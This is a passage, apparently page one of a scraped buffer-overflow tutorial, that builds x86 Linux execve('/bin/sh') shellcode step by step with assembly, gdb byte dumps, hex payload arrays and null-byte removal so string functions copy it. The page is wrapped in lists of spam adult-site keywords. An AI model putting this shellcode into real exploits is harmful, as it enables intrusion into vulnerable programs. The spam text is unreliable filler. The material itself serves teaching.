亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? introduction to buffer overflow.htm

?? a collection of mega hacking tools
?? HTM
?? 第 1 頁 / 共 3 頁
字號:
<br><b>Now lets take a look in execve function</b>
<br>
<br>__execve+1 mov 0x10(%esp,1),%edx
<br><b>We must have address of 3rd argument in %edx(NULL was 3rd argument)</b>
<br>
<br>__execve+5 mov 0xc(%esp,1),%ecx
<br><b>We must have address of sh in %ecx(sh was 2nd argument)</b>
<br>
<br><br>__execve+9 mov 0x8(%esp,1),%ebx
<br><b>We must have address of "/bin/sh" in %ebx(sh[0] 1st argument)</b>
<br>
<br>__execve+13 mov $0xb,%eax
<br><b>0xb is system call for execve</b>
<br>
<br>__execve+18 int $0x80
<br><b>switching to kernel mode</b>
</center>
<br>
<br>
<p>Things to do-></p>
<br>We must have address of NULL in %edx
<br>We must have address of sh in %ecx
<br>We must have address of "/bin/sh" in %ebx
<br>We must have 0xb in %eax
<br>We must call int $0x80

<p>Well we need the exact address in memory of our "/bin/sh" string.
We can simple put "/bin/sh" after call which will push EIP on stack,and
pushed EIP should be address of our string...Look at pic 0.1</p>
<br>
<center>
<br>[JJaaaaaaaaaaaaaaaaaaaaaaaaCCssssss]
<br>  |^_______________________^|
<br>   |________________________|
</center>
<br>
<p>on beginning of code we will put JMP instruction which will jmp to call,and
call will save EIP and go to offset of a.EIP will be our "/bin/sh" address</p>
<br>a-stands for code
<br>J-stands for JMP
<br>C-stands for CALL
<br>s-stands for "/bin/sh"

<p>well lets write this to asm-></p>
<br>
<br>
<center>

<br>------------ shell1.cpp Code Starts Here ----------------
<br>void main(){
<br>__asm__("jmp 0x1e \n"      //jmp to call
<br>"popl %esi \n"    //get seved EIP to esi,now we have /bin/sh address
<br>"movl %esi,0x8(%esi) \n"  //address of sh behind /bin/sh
<br>"movl $0x0,0xc(%esi) \n"  //NULL as 3rd argument goes after sh address
<br>"movb $0x0,0x7(%esi) \n"  //terminate /bin/sh with '\0'
<br>"movl %esi,%ebx \n"       //address of sh[0] in %ebx
<br>"leal %0x8(%esi),%ecx \n" //address of sh in %ecx(2nd argument)
<br>"leal %0xc(%esi),%edx \n" //address of NULL in %edx(3rd argument)
<br>"movl $0xb,%eax \n"       //sys call of execve in %eax
<br>" int $0x80 \n"           //kernel mode
<br>" call -0x23 \n"          //call popl %esi
<br>" .string \"/bin/sh\" \n"); //our string
<br>}
<br>------------ shell1.cpp Code Ends Here ----------------
</center>
<br>
<br>

<p>Lets compile this</p>
<br>
<center>
<br>root@scorpion#cc shel1.cpp -o shell1
<br>root@scorpion#gdb shell1
<br>GNU gdb 4.18
<br>Copyright 1998 Free Software Foundation, Inc.
<br>GDB is free software, covered by the GNU General Public License, and you are
<br>welcome to change it and/or distribute copies of it under certain conditions.
<br>Type "show copying" to see the conditions.
<br>There is absolutely no warranty for GDB.  Type "show warranty" for details.
<br>This GDB was configured as "i686-pc-linux-gnu"...
<br>(gdb) x/bx main+3       <-------jmp start here
<br>0x8048733 <main+3>:     0xeb
<br>(gdb)
<br>0x8048734 <main+4>:     0x1e
<br>(gdb)
<br>0x8048735 <main+5>:     0x5e
<br>(gdb)
<br>0x8048736 <main+6>:     0x89
<br>(gdb)
<br>0x8048737 <main+7>:     0x76
<br>(gdb)
<br>0x8048738 <main+8>:     0x08
<br>(gdb)
<br>0x8048739 <main+9>:     0xc6
<br>(gdb)
<br>0x804873a <main+10>:    0x46
<br>(gdb)
<br>0x804873b <main+11>:    0x07
<br>(gdb)
<br>0x804873c <main+12>:    0x00
<br>(gdb)
<br>0x804873d <main+13>:    0xc7
<br>(gdb)
<br>0x804873e <main+14>:    0x46
<br>(gdb)
<br>0x804873f <main+15>:    0x0c
<br>(gdb)
<br>0x8048740 <main+16>:    0x00
<br>(gdb)
<br>0x8048741 <main+17>:    0x00
<br>(gdb)
<br>0x8048742 <main+18>:    0x00
<br>(gdb)
<br>0x8048743 <main+19>:    0x00
<br>(gdb)
<br>0x8048744 <main+20>:    0x89
<br>(gdb)
<br>0x8048745 <main+21>:    0xf3
<br>(gdb)
<br>0x8048746 <main+22>:    0x8d
<br>(gdb)
<br>0x8048747 <main+23>:    0x4e
<br>(gdb)
<br>0x8048748 <main+24>:    0x08
<br>(gdb)
<br>0x8048749 <main+25>:    0x8d
<br>(gdb)
<br>0x804874a <main+26>:    0x56
<br>(gdb)
<br>0x804874b <main+27>:    0x0c
<br>(gdb)
<br>0x804874c <main+28>:    0xb8
<br>(gdb)
<br>0x804874d <main+29>:    0x0b
<br>(gdb)
<br>0x804874e <main+30>:    0x00
<br>(gdb)
<br>0x804874f <main+31>:    0x00
<br>(gdb)
<br>0x8048750 <main+32>:    0x00
<br>(gdb)
<br>0x8048751 <main+33>:    0xcd
<br>(gdb)
<br>0x8048752 <main+34>:    0x80
<br>(gdb)
<br>0x8048753 <main+35>:    0xe8
<br>(gdb)
<br>0x8048754 <main+36>:    0xdd
<br>(gdb)
<br>0x8048755 <main+37>:    0xff
<br>(gdb)
<br>0x8048756 <main+38>:    0xff
<br>(gdb)
<br>0x8048757 <main+39>:    0xff
<br>(gdb)
<br>0x8048758 <main+40>:    0x2f
<br>(gdb)
<br>0x8048759 <main+41>:    0x62
<br>(gdb)
<br>0x804875a <main+42>:    0x69
<br>(gdb)
<br>0x804875b <main+43>:    0x6e
<br>(gdb)
<br>0x804875c <main+44>:    0x2f
<br>(gdb)
<br>0x804875d <main+45>:    0x73
<br>(gdb)
<br>0x804875e <main+46>:    0x68  <--------- c0de ends here
<br>(gdb)quit
</center>
<br>
<br>

<p>lets write our shell code-></p>
<br>
<br>
<br><center>
<br>--------------- shell2.cpp Code Starts Here ------------------
<br>char c0de[]=
<br>"\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00"
<br>"\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb8\x0b\x00\x00\x00"
<br>"\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
<br>
<br>int main(){
<br>char buf[5];
<br>long *ret=(long *)(buf+12);
<br>*ret=(long)c0de;
<br>}
<br>--------------- shell2.cpp Code Ends Here ------------------
<br>root@scorpion#cc shell2.cpp -o shell2
<br>root@scorpion#./shell2
<br>sh-2.03
</center>
<br>
<br>
<p>This works...
"\x2f\x62\x69\x6e\x2f\x73\x68" is same that if you wrote "/bin/sh"
(this is at end of code)
Take a look at this shell code...There is \x00 or '\0' at some places.
As we know '\0' is end of string.
So strcpy or other string function will copy it while they find '\0'
and our shell code wouldn't be copied all.
Lets get rid of this '\0'</p>
<br>
<br>
<center>
<br>change this              for this
<br>-----------------------------------------------------
<br>                         xorl %eax,%eax (this we will add)
<br>movb $0x0,0x7(%esi)      movb %al,0x7(%esi)
<br>movl $0x0,0xc(%esi)      movl %eax,0xc(%esi)
<br>movl $0xb,$eax           movb %0xb,%al
<br>-----------------------------------------------------
</center>
<br>
<br>
<p>rewrite c0de with this changes and we get this</p>
<br>
<br>
<center>
<br>--------------- shell3.cpp Code Starts Here ---------------
<br>void main(){
<br>__asm__("jmp 0x18 \n"
<br>        "popl %esi \n"
<br>        "movl %esi,0x8(%esi) \n"
<br>        "xorl %eax,%eax \n"
<br>        "movb %al,0x7(%esi) \n"
<br>        "movl %eax,0xc(%esi) \n"
<br>        "movl %esi,%ebx \n"
<br>        "leal 0x8(%esi),%ecx \n"
<br>        "leal 0xc(%esi),%edx \n"
<br>        "movb $0xb,%al \n"
<br>        "int $0x80 \n"
<br>        "call -0x1d \n"
<br>        ".string \"/bin/sh\" \n");
<br>}
<br>--------------- shell3.cpp Code Ends Here ---------------
</center>
<br>
<br>
<p>compile like this</p>
<br>
<center>
<br>root@scorpion#cc shell3.cpp -o shell3
<br>root@scorpion#gdb shell3
<br>GNU gdb 4.18
<br>Copyright 1998 Free Software Foundation, Inc.
<br>GDB is free software, covered by the GNU General Public License, and you are
<br>welcome to change it and/or distribute copies of it under certain conditions.
<br>Type "show copying" to see the conditions.
<br>There is absolutely no warranty for GDB.  Type "show warranty" for details.
<br>This GDB was configured as "i686-pc-linux-gnu"...
<br>(gdb) x/bx main+3                  <---------jmp strats here
<br>0x80483c3 <main+3>:     0xeb
<br>(gdb)
<br>0x80483c4 <main+4>:     0x18
<br>(gdb)
<br>0x80483c5 <main+5>:     0x5e
<br>(gdb)
<br>0x80483c6 <main+6>:     0x89
<br>(gdb)
<br>0x80483c7 <main+7>:     0x76
<br>(gdb)
<br>0x80483c8 <main+8>:     0x08
<br>(gdb)
<br>0x80483c9 <main+9>:     0x31
<br>(gdb)
<br>0x80483ca <main+10>:    0xc0
<br>(gdb)
<br>0x80483cb <main+11>:    0x88
<br>(gdb)
<br>0x80483cc <main+12>:    0x46
<br>(gdb)
<br>0x80483cd <main+13>:    0x07
<br>(gdb)
<br>0x80483ce <main+14>:    0x89
<br>(gdb)
<br>0x80483cf <main+15>:    0x46
<br>(gdb)
<br>0x80483d0 <main+16>:    0x0c
<br>(gdb)
<br>0x80483d1 <main+17>:    0x89
<br>(gdb)
<br>0x80483d2 <main+18>:    0xf3
<br>(gdb)
<br>0x80483d3 <main+19>:    0x8d
<br>(gdb)
<br>0x80483d4 <main+20>:    0x4e
<br>(gdb)
<br>0x80483d5 <main+21>:    0x08
<br>(gdb)
<br>0x80483d6 <main+22>:    0x8d
<br>(gdb)
<br>0x80483d7 <main+23>:    0x56
<br>(gdb)
<br>0x80483d8 <main+24>:    0x0c
<br>(gdb)
<br>0x80483d9 <main+25>:    0xb0
<br>(gdb)
<br>0x80483da <main+26>:    0x0b
<br>(gdb)
<br>0x80483db <main+27>:    0xcd
<br>(gdb)
<br>0x80483dc <main+28>:    0x80
<br>(gdb)
<br>0x80483dd <main+29>:    0xe8
<br>(gdb)
<br>0x80483de <main+30>:    0xe3
<br>(gdb)
<br>0x80483df <main+31>:    0xff
<br>(gdb)
<br>0x80483e0 <main+32>:    0xff
<br>(gdb)
<br>0x80483e1 <main+33>:    0xff
<br>(gdb)
<br>0x80483e2 <main+34>:    0x2f
<br>(gdb)
<br>0x80483e3 <main+35>:    0x62
<br>(gdb)
<br>0x80483e4 <main+36>:    0x69
<br>(gdb)
<br>0x80483e5 <main+37>:    0x6e
<br>(gdb)
<br>0x80483e6 <main+38>:    0x2f
<br>(gdb)
<br>0x80483e7 <main+39>:    0x73
<br>(gdb)
<br>0x80483e8 <main+40>:    0x68       <---------c0de ends here
<br>(gdb)quit
</center>
<br>
<br>

<p>rewrite program:</p>
<br>
<br>
<center>
<br>-------------- shell4.cpp Code Starts Here ----------------
<br>char c0de[]=
<br>"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3"
<br>"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
<br>"\x62\x69\x6e\x2f\x73\x68";
<br>
<br>void main(){
<br>char buf[5];
<br>long *ret=(long *)(buf+12);
<br>*ret=(long)c0de;
<br>}
<br>-------------- shell4.cpp Code Ends Here ----------------
<br>compile  shell4.cpp
<br>root@scorpion#cc shell4.cpp -o shell4
<br>root@scorpion#./shell4
<br>sh-2.03#
</center>
<br>
<br>

<p>It works...and it is smaller then our previous c0de and without 0x00 or
\x00 or '\0' so strcpy(),sprintf() will copy it at all...</p>

<p>Here is simple program to print Stack pointer of current program:</p>
<br>
<br>
<center>
<br>------- sp.cpp Code Stars Here-----------
<br>unsigned long get_esp(){
<br>__asm__(" movl %esp,%eax \n");
<br>}
<br>
<br>void main(){
<br>printf(" Stack pointer is 0x%x%\n",get_esp());
<br>}
<br>------- sp.cpp Code Ends Here-----------
<br>root@scorpion#cc sp.cpp -o sp
<br>root@scoprion#./sp
<br>Stack pointer is 0xbffff910  <--- your output will be other address or same
<br>root@scorpion#
</center>
<br>
<br>
Text was writen using vi and joe text editors
<br>
-EOF-







?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
成人精品视频一区二区三区尤物| 国产98色在线|日韩| 久久av老司机精品网站导航| 国产超碰在线一区| 欧美日韩中文另类| 国产人久久人人人人爽| 图片区日韩欧美亚洲| 成人va在线观看| 日韩午夜激情免费电影| 亚洲伊人伊色伊影伊综合网| 国产999精品久久久久久绿帽| 欧美夫妻性生活| 亚洲三级电影网站| 成人免费视频视频| 精品乱人伦一区二区三区| 亚洲夂夂婷婷色拍ww47| 懂色av一区二区三区免费看| 日韩精品一区二区三区中文不卡 | 精品久久久久久久人人人人传媒 | 久久亚洲综合av| 天堂va蜜桃一区二区三区漫画版| 成人av免费网站| 国产精品美女久久久久久久久| 麻豆久久一区二区| 91精品国产一区二区三区蜜臀| 亚洲欧洲综合另类| 色综合久久久久久久久| 国产精品久久久久久亚洲伦 | 色综合久久久网| 中文字幕在线一区| 成人毛片视频在线观看| 久久精品视频网| 国产白丝网站精品污在线入口| 日韩欧美国产系列| 久久成人精品无人区| 91麻豆精品国产| 日本色综合中文字幕| 欧美一区二区三区色| 久久精品免费观看| 久久综合999| 国产九九视频一区二区三区| 久久天堂av综合合色蜜桃网| 国产激情一区二区三区| 国产日韩高清在线| 99久久99久久精品免费观看| ...av二区三区久久精品| 国产成人h网站| 国产精品第13页| 色综合天天综合给合国产| 亚洲综合免费观看高清在线观看| 在线视频欧美精品| 奇米888四色在线精品| 26uuu久久天堂性欧美| 成人免费毛片app| 一区二区在线看| 欧美日韩中文字幕一区二区| 久久99久久精品| 中文字幕免费观看一区| 色诱亚洲精品久久久久久| 三级精品在线观看| 国产亚洲一二三区| 色偷偷一区二区三区| 麻豆国产欧美日韩综合精品二区| 久久久精品免费免费| 日本精品一级二级| 免费看欧美美女黄的网站| 日本一区二区久久| 欧美日韩在线不卡| 国产激情一区二区三区| 一二三区精品视频| 精品国产免费人成在线观看| av一本久道久久综合久久鬼色| 亚洲大片免费看| 久久精品人人做人人爽人人| 日本韩国欧美一区| 国产一区二区主播在线| 亚洲国产cao| 国产欧美日韩三级| 欧美精品在线一区二区三区| 波多野结衣一区二区三区| 日韩国产精品大片| 综合网在线视频| 精品少妇一区二区| 欧美性受极品xxxx喷水| 国产成人在线看| 日韩精品久久理论片| 国产精品福利影院| 日韩欧美卡一卡二| 欧美伊人精品成人久久综合97 | 日韩精品欧美精品| ...中文天堂在线一区| 精品久久久久久久久久久久包黑料 | 美国毛片一区二区三区| 亚洲日本青草视频在线怡红院| 日韩三级高清在线| 欧美日韩一级视频| 99天天综合性| 国产成人免费视频网站高清观看视频 | 全部av―极品视觉盛宴亚洲| 亚洲综合色丁香婷婷六月图片| 日本一区二区三区在线观看| 2020国产精品| 欧美成人精品福利| 91精品国产免费| 欧美日韩的一区二区| 色先锋aa成人| 色偷偷一区二区三区| 99热在这里有精品免费| 高清不卡在线观看av| 国产suv一区二区三区88区| 久久国产福利国产秒拍| 另类中文字幕网| 久久精品国产99国产| 日韩影院精彩在线| 日本不卡在线视频| 日韩精品一二区| 蜜臀久久久99精品久久久久久| 视频在线在亚洲| 毛片一区二区三区| 老司机免费视频一区二区| 极品尤物av久久免费看| 国产精品综合av一区二区国产馆| 狠狠色丁香久久婷婷综合_中 | 精品国产污网站| 欧美tickling网站挠脚心| 久久伊人中文字幕| 久久九九全国免费| 国产精品家庭影院| 亚洲综合一区二区| 免费人成精品欧美精品 | 久久精品在线免费观看| 国产精品日韩成人| 亚洲激情中文1区| 捆绑紧缚一区二区三区视频| 国产一区二区在线影院| 99视频超级精品| 欧美三级日韩在线| 7777精品久久久大香线蕉| 欧美剧在线免费观看网站| 欧美日韩精品电影| 欧美群妇大交群中文字幕| 欧美精品一区二区蜜臀亚洲| 日韩精品专区在线影院重磅| 精品国偷自产国产一区| 久久久久久夜精品精品免费| 最新日韩在线视频| 一区二区三区中文在线| 亚洲一卡二卡三卡四卡无卡久久| 亚洲综合网站在线观看| 久久蜜臀中文字幕| 日韩你懂的电影在线观看| 欧美在线色视频| 在线亚洲欧美专区二区| 色综合久久天天| 欧美成人欧美edvon| 国产欧美精品一区| 亚洲四区在线观看| 天堂精品中文字幕在线| 成人h动漫精品| 在线观看免费一区| 制服丝袜在线91| 久久亚洲一级片| 亚洲一区视频在线| 亚洲午夜久久久久中文字幕久| 中文字幕一区二区三区精华液| 亚洲精品国产第一综合99久久| 亚洲国产精品一区二区久久 | 日韩一区二区在线看| 国产精品女同互慰在线看| 一区二区三区免费在线观看| 日韩精品色哟哟| 国产成人在线色| 欧美亚洲综合另类| 国产精品久久久久aaaa| 亚洲电影一区二区| 国产精品自在欧美一区| 欧美午夜在线一二页| 久久综合国产精品| 国产精品久久久久久久浪潮网站 | 久久成人18免费观看| 91免费版在线| 精品毛片乱码1区2区3区| 337p日本欧洲亚洲大胆色噜噜| 亚洲v日本v欧美v久久精品| 丁香桃色午夜亚洲一区二区三区| 在线观看国产日韩| 欧美大肚乱孕交hd孕妇| 日韩精品亚洲专区| 在线日韩国产精品| 欧美国产综合色视频| 日韩黄色在线观看| 欧美日韩在线观看一区二区| 国产精品伦一区| 国产一区二区中文字幕| 欧美日韩一区二区三区不卡| 亚洲精品国产精华液| 成人av网站在线| 久久综合九色综合97_久久久| 亚洲综合色婷婷| 99re这里只有精品视频首页|